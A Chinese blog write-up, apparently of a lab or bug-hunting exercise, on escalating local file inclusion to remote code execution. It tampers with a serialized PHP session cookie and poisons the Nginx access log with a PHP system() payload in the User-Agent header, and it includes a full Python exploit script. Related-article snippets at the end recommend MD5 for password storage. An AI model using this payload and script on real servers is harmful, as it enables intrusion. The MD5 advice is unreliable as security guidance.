从LFI到RCE

007bug2023-11-20 10:58:26

在某个网络应用程序上进行长达数小时的信息收集及‘侦查’后,Cookie引起了白帽小哥的注意。

PHPSESSID -PHPSESSID Cookie是PHP原生,使网站能够存储序列化的状态数据。它用于建立用户会话,并通过临时Cookie(通常称为会话Cookie)传递状态数据。(关闭浏览器时过期)。通常使用Base64编码格式

提示:尽量尝试解码一切可以解码的东西

可以使用在线网站,如base64decode.org进行解码:

也可通过Python解码:

为什么s=15?那是因为/www/index.html 的长度刚好是15(熟悉PHP反序列化的童鞋们肯定不陌生)

LFI漏洞

Local File Inclusion是一种攻击技术,攻击者可以欺骗Web应用程序在Web服务器上运行或暴露文件。LFI攻击可能会暴露敏感信息,在严重的情况下,它们可能会导致跨站点脚本(XSS)和远程代码执行。

那么如果我们将/www/index. html替换为/etc/passwd会怎样?

通过python将修改后的Cookie发送,看看结果:

当然,也可以通过Burp来修改Cookie:

从LFI升级至RCE

远程代码执行(RCE)攻击允许攻击者在计算机上远程执行恶意代码。RCE漏洞的影响范围可以从恶意软件执行到攻击者获得对受害机器的完全控制。

从LFI漏洞升级到RCE的最简单方法是日志‘投毒’

日志投毒或日志注入是一种允许攻击者篡改日志文件内容的技术,例如将恶意代码插入服务器日志以远程执行命令或反弹Shell。只有当应用程序存在LFI漏洞时,它才有效。

在本案例中由于无法获取反弹Shell,因此只能尝试使用 "ls -lsa"-"ls -l" 列出目录。

LFI漏洞只允许读取/执行文件,而无法写入或创建新文件,那么我们要如何注入呢?可以考虑把日志添加到服务器文件中。

首先,我们需要知道服务器是哪种类型:

Nginx!那么日志一般会存放于/var/log/nginx/access.log

同样使用使用Python脚本来尝试访问日志文件:

很好!那么让我们看看是否可以通过使用“User-Agent”来添加日志。

在python脚本中,添加如下内容:

headers = {'User-Agent': 'Facundo Fernandez'}

查看响应:

很棒!那么尝试改成:

headers = {'User-Agent': "<?php system('ls -lsa');?>"

成功执行!

完整的python代码如下:

import base64
# Importing the base64 module, which is used for encoding and decoding base64 data.

# Creating a byte string that mimics a serialized PHP object.
# This could be used to exploit object injection vulnerabilities in PHP applications.
malicious_cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
print('Malicious Cookie:', malicious_cookie)
# Printing the created malicious byte string (cookie) for demonstration.

# Encoding the malicious cookie using base64.
# This is necessary because cookies are usually base64-encoded during HTTP communication.
malicious_cookie_encoded = base64.b64encode(malicious_cookie)
print('Malicious cookie encoded:', malicious_cookie_encoded)
# Printing the base64-encoded version of the malicious cookie.

# Our Target
# This should be a URL under your control or where you have permission to test.
url = 'http://142.93.32.153:31043'

# Creating a cookies dictionary with the 'PHPSESSID' as the key and the encoded malicious cookie as the value.
cookies = {'PHPSESSID': malicious_cookie_encoded.decode()}

# Creating a headers dictionary, attempting to pass PHP code in the User-Agent header.
# The intention here is to test for Remote Code Execution (RCE) by trying to get the server to execute the 'ls' command.
headers = {'User-Agent': "<?php system('ls -lsa');?>"} 

# Sending a GET request to the specified URL with the malicious cookies and headers.
r = requests.get(url, cookies=cookies, headers=headers)
print(r.text)
# Printing the response text from the server.
# If the server is vulnerable and executes the code, you might see the result of the 'ls -lsa' command in the response.
generic
1.62 KB
© Guge's Blog
cookiecookie欺骗
本作品采用《CC 协议》,转载必须注明作者和本文链接
规范要求1、对用户提交的数据在保存和展示前对特殊字符进行转义,防止XML注入攻击。此类问题均容易导致密码的泄露。规范要求1、配置文件中涉及到需要用户验证的密码字段采用加密后保存,禁止明文或使用弱加密算法对密码进行加密。规范要求建议采用不可逆的加密方式对密码进行加密如MD5。
几道网络面试题!看看你都会吗?
这里根据红日安全PHP-Audit-Labs对一些函数缺陷的分析,从PHP内核层面来分析一些函数的可利用的地方,标题所说的函数缺陷并不一定是函数本身的缺陷,也可能是函数在使用过程中存在某些问题,造成了漏洞,以下是对部分函数的分析
对于高级攻击者来说,研究人员观察到活跃的攻击者以各种方式获取 cookie。有时,随着特定活动的启动,这些检测结果会急剧上升。此外,一些使用 cookie 的合法应用程序可能会泄露它们,从而将令牌暴露给攻击者。其中一个键值对指定cookie的过期时间,即cookie在必须更新之前的有效时间。
CSRF 防护策略
2021-10-13 07:12:05
什么是 CSRFCSRF:攻击者通过邮件、社区发帖等方式诱导受害者进入第三方网站,并且在第三方网站中向被攻击网站发送跨站请求;这主要是利用了受害者在被攻击网站已经获取的登录凭证,且 cookie 会自动附在对特定域名的请求里的浏览器特性,达到冒充用户对被攻击的网站执行某项操作的目的。
身份认证的结果往往是获得一个令牌,通常放在cookie中,之后对用户身份的识别根据这个授权的令牌进行识别,而不需要每次都要登陆。在开发Web应用程序时,开发人员往往只关注Web应用程序所需的功能。由于这个原因,开发人员通常会建立自定义的认证和会话管理方案。攻击者在一个小时后能使用相同浏览器通过身份认证。
最近研究一些防火墙的一些技术,因为现在大多数服务器都架设了防火墙,所以管理员们一致认为只要有了防火墙,那服务器就是安全的。
跨站请求伪造,也被称为“OneClick Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 一、CSRF介绍 CSRF(Cross-site request forgery) 跨站请求伪造,也被称为“OneClick Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
美国有线电视新闻网(CNN)3月13日报道称,经过近一个月调查发现,俄罗斯操纵网络舆论的“巨魔军队”继2016年以来继续利用网络假消息干扰本届美国大选。该机构长期从事网络虚假消息活动,秘密设置大量伪造的 Twitter、Facebook以及其他社交媒体账户,以蛊惑西方民众。2016年,俄罗斯的“巨魔工厂”位于圣彼得堡的一个办公大楼,而今年,则将该工厂移到了地处西非的加纳和尼日利亚,显然,这次的手法
从LFI到RCE
2023-11-20 10:58:26
在某个网络应用程序上进行长达数小时的信息收集及‘侦查’后,Cookie引起了白帽小哥的注意。
007bug
暂无描述